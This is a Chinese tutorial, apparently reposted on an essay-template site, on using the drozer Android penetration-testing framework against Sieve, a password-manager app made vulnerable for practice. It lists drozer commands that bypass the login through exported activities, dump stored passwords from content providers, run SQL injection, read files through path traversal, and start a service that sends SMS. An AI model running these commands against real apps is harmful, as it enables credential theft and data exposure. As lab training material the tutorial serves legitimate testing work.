1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 安卓渗透测试工具---drozer使用

安卓渗透测试工具---drozer使用

时间:2023-12-21 14:25:54

相关推荐

安卓渗透测试工具---drozer使用

目录

drozer下载drozer安装sieve(drozer测试程序)drozer使用建立手机端和PC端的连接确定攻击面测试activities exported (容易绕过登陆验证)测试 content provider(易造成数据库泄露,sql注入等问题)利用暴露的content provider进行sql注入从File System-backed Content Providers获取信息测试services exported (权限提升)测试broadcast receivers exported(拒绝服务)

drozer下载

下载链接:drozer

drozer安装

下载软件并解压,进入解压目录点击setup.exe,按照提示安装完成,默认安装在C盘下;

传送agent.apk到手机上并安装。

sieve(drozer测试程序)

下载链接:sieve

介绍:sieve是一款小型密码管理软件,包含了常见的安卓应用漏洞,可以作为drozer练习的测试对象。

使用:当sieve首次启动时,它要求用户设置一个16个字符的“主密码”和一个用于保护用户稍后输入的密码的4位pin。用户可以使用sieve存储各种服务的密码,如果需要正确的凭证,可以在稍后的数据中检索这些密码。

drozer使用

建立手机端和PC端的连接

1、手机端打开drozer agent,并打开Embedded Server。

2、PC端通过ADB设置转发端口。

3、PC端dos下进入drozer安装目录,执行命令,与手机端drozer agent成功建立连接。

注意事项

如果报错“could not find java…”

建立名为 .drozer_config的文件,文件中添加如下内容:

[executables]

java=D:\Java\jdk1.7.0_65\bin\java.exe

javac=D:\Java\jdk1.7.0_65\bin\javac.exe

即java和javac的路径,保存后存放到C:\Users\XXX\ 目录下,其中XXX为当前用户名目录下,之后重新连接成功

确定攻击面

dz> run app.package.list //列出安装的所有应用包名

dz> run app.package.list -f sieve //搜索特定的包名

dz> run app.package.info -a com.mwr.example.sieve //查看应用的信息

dz> run app.package.attacksurface com.mwr.example.sieve //识别攻击面

测试activities exported (容易绕过登陆验证)

dz> run app.activity.info -a com.mwr.example.sieve //显示暴露的Activity信息

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //该命令会生成一个合适的intent来启动activity

手机端查看sieve软件,不需要登录验证,就可以进入系统。

测试 content provider(易造成数据库泄露,sql注入等问题)

dz> run app.provider.info -a com.mwr.example.sieve //列举Content Provider的信息

dz> run app.provider.finduri com.mwr.example.sieve //枚举uri

dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri

dz> run scanner.provider.injection -a com.mwr.example.sieve //检测可利用uri,检查sql注入

现在可以使用其他drozer模块从这些内容URI中检索信息,甚至可以修改数据库中的数据

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ //获取数据库数据(即为之前保存的密码,邮箱信息)

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical //竖直显示数据库数据

利用暴露的content provider进行sql注入

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’” //数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection “’”

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table’;-- " //使用Sql注入列出数据库中的所有数据表

从File System-backed Content Providers获取信息

dz> run scanner.provider.traversal -a com.mwr.example.sieve //检测 目录遍历

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //遍历目录

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/database/database.db /home/user/database.db 下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)

测试services exported (权限提升)

run app.service.info -a com.android.nsf //获取 service 详情

run app.service.send com.adnroid.nsf com.igexin.sdk.PushServiceUser --msg 1 2 3 //访

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

测试broadcast receivers exported(拒绝服务)

run app.broadcast.info -a com.android.nsf //获取broadcast receivers信息

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。